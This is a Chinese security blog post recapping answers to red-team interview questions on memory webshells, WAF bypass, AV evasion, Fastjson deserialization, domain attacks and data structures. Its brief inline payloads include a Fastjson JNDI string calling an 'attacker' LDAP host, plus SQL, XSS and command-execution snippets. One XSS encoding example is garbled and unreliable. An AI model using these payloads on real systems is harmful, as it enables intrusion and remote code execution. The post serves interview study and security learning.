网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[某四字大厂面试复盘 一面](#某四字大厂面试复盘 一面)
[1. Java内存马的原理和利用](#1. Java内存马的原理和利用)
[2. 冰蝎与哥斯拉原理](#2. 冰蝎与哥斯拉原理)
[3. 绕WAF实战经验](#3. 绕WAF实战经验)
[4. Webshell免杀原理](#4. Webshell免杀原理)
[5. CS与MSFvenom结合免杀](#5. CS与MSFvenom结合免杀)
[6. Fastjson反序列化](#6. Fastjson反序列化)
[7. 红黑树与HashMap原理](#7. 红黑树与HashMap原理)
[8. 内网渗透与域控实战](#8. 内网渗透与域控实战)
[9. SQLMap原理](#9. SQLMap原理)
[10. MySQL B+树优势](#10. MySQL B+树优势)
[11. PHP与Golang安全问题](#11. PHP与Golang安全问题)
某四字大厂面试复盘 一面
java内存马的原理和利用 如何查杀javan内存马,分别从工具和原理角度说说 冰蝎和哥斯拉了解吗,讲讲原理 有绕waf的实战经验吗,从各种漏洞的角度讲下 熟悉webshell免杀吗,讲下原理 做过其他免杀吗,比如结合cs和msfvenom的 谈谈fastjson反序列化原理和常见利用链吧 红黑树原理 hashmap原理 内网渗透、域控相关的实战经验 java反序列化cc链实战原理 sqlmap原理 Mysql为什么要用b+树 linux内核的漏洞 python的沙箱逃逸 python的flask模板注入 抽象语法树 rasp的概念和原理 rasp的对抗 php和golang语法本身的安全问题
1. Java内存马的原理和利用
原理:
- 内存马是一种驻留内存的恶意组件,通过动态注册Servlet/Filter/Listener等组件实现持久化。常见类型包括:
- Filter型内存马 :利用
javax.servlet.Filter
接口动态注册恶意过滤器,拦截请求执行命令。- Servlet型内存马 :通过
ServletContext.addServlet()
注入恶意Servlet。- Listener型内存马 :注册恶意监听器(如
ServletRequestListener
)在请求到达时触发。- 利用链:通常通过反序列化漏洞或框架特性(如Spring的Controller参数绑定)注入。
查杀方法:
- 工具 :
- Arthas/JProfiler:分析JVM内存中的类加载情况,定位可疑类。
- Java-memory-shell-scanner :扫描Tomcat的
StandardContext
中的动态注册组件。- 原理 :
- 动态类检测 :监控
ClassLoader
加载的类,识别非标准类路径的恶意类。- 组件链分析 :检查
web.xml
与内存中组件的差异,如未注册的Filter/Servlet。
2. 冰蝎与哥斯拉原理
- 冰蝎 :
- 通信加密:动态密钥AES加密请求/响应,密钥通过首次请求的MD5哈希生成。
- 流量特征:HTTP Body为Base64编码的加密数据,Header中无固定特征。
- 哥斯拉 :
- 多协议支持:支持HTTP、HTTPS、DNS隧道,流量可伪装为正常业务。
- 载荷混淆:通过异或加密和随机参数名绕过WAF检测。
3. 绕WAF实战经验
- SQL注入 :
- 分块传输:利用HTTP分块编码绕过正则匹配。
- 内联注释 :如
/*!50000select*/
绕过黑名单。- XSS :
- HTML实体编码 :如
<img src=x onerror=alert(1)>
转为<img src=x onerror=alert(1)>
。- 文件上传 :
- 扩展名混淆 :如
.php5
、.phtml
绕过后缀过滤。- Content-Type绕过 :伪造为
image/jpeg
。
4. Webshell免杀原理
- 代码混淆 :
- 反射调用 :如
Class.forName("java.lang.Runtime").getMethod("exec")
。- 加密加载:使用AES加密Shell代码,运行时解密执行。
- 框架伪装 :
- Spring Interceptor:注册恶意拦截器,伪装为业务组件。
- JSP EL表达式 :如
${pageContext.request.getParameter("cmd")}
。
5. CS与MSFvenom结合免杀
- Staged Payload分离:生成无特征的Stager,通过DNS或HTTP分段加载Shellcode。
- 进程注入 :
- 使用MSF生成Raw格式的Shellcode,通过Cobalt Strike的
execute-assembly
注入到合法进程(如explorer.exe
)。- 内存加密:通过AES-CBC加密Shellcode,加载时动态解密。
6. Fastjson反序列化
原理 :利用
@type
指定恶意类触发Getter/Setter链,如:json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit"}
利用链 :
- JNDI注入链(JdbcRowSetImpl)。
- TemplatesImpl链 :通过
_bytecodes
字段加载字节码。防御 :升级至Fastjson 1.2.68+并开启
SafeMode
。
7. 红黑树与HashMap原理
- 红黑树 :
- 平衡规则 :
- 节点为红或黑。
- 根和叶子(NIL)为黑。
- 红节点的子节点必须为黑。
- 任意路径黑节点数相同。
- 操作代价:插入/删除后通过旋转(左旋/右旋)和变色维持平衡。
- HashMap :
- 结构:数组+链表/红黑树(JDK8+)。
- 哈希冲突:拉链法处理碰撞,链表长度>8时树化。
- 扩容机制:负载因子默认0.75,容量翻倍重新哈希。
8. 内网渗透与域控实战
- 横向移动 :
- Pass-the-Hash:利用Mimikatz获取NTLM哈希,通过SMB协议横向。
- MS17-010:利用永恒之蓝漏洞攻击未修补主机。
- 域控攻击 :
- DCSync:模拟域控制器同步用户哈希。
- Golden Ticket:伪造Kerberos TGT票据获取域管理员权限。
9. SQLMap原理
- 注入检测 :
- 布尔盲注:通过页面响应差异判断条件真假。
- 时间盲注 :利用
SLEEP()
函数检测延迟。- 数据提取 :
- UNION查询:通过联合查询获取数据。
- OOB通道:利用DNS/HTTP外带数据。
10. MySQL B+树优势
- 结构特性 :
- 叶子节点链表 :支持高效范围查询(如
WHERE id BETWEEN 10 AND 20
)。- 高扇出:非叶子节点仅存储键,减少磁盘I/O次数。
- 对比B树:B+树所有数据存储在叶子节点,查询稳定性更高。
11. PHP与Golang安全问题
- PHP :
- 弱类型 :如
"0e123456" == "0"
返回true
。- 反序列化漏洞 :如
__wakeup()
和__destruct()
中的代码执行。- Golang :
- 接口误用 :如空接口
interface{}
类型断言失败导致Panic。- 依赖漏洞 :第三方库未校验输入导致RCE(如旧版
go-yaml
)。